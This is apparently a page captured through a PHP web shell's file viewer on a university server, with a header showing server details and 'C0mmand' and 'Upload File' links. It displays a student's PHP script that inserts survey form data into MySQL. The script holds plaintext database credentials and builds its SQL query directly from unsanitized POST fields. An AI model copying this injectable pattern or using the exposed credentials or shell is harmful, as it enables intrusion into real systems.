Server IP : 172.16.15.8 / Your IP : 18.119.109.101 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/bnhans/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- pg. 171 action PHP script to insert the data from the form to DBMs --> <html> <FONT color=teal size=4> Insert Results <P> <?php $class = $_POST['class']; $sex = $_POST['sex']; $year = $_POST['year']; $feel = $_POST['feel']; $teach = $_POST['teach']; $exam = $_POST['exam']; $host = 'localhost'; $user = 'bnhans'; $passwd = 'cs480'; $database = 'bnhans'; $connect = mysql_connect($hostl, $user, $passwd); $table_name = 'Evaluation2'; // pg 172 $query = "INSERT INTO $table_name VALUES ('0', '$class', '$sex', '$year' , '$feel' , '$teach' , '$exam')"; mysql_select_db($database); if(mysql_query($query, $connect)) print "<P>Insert successful.<p>"; else print "<P>Insert fail.<P>"; mysql_close($connect); // USE INCLUDE FOR SHOWING THE TABLE CONTEXT include ("DBMSDisplay.php"); ?> </font> </body> </html>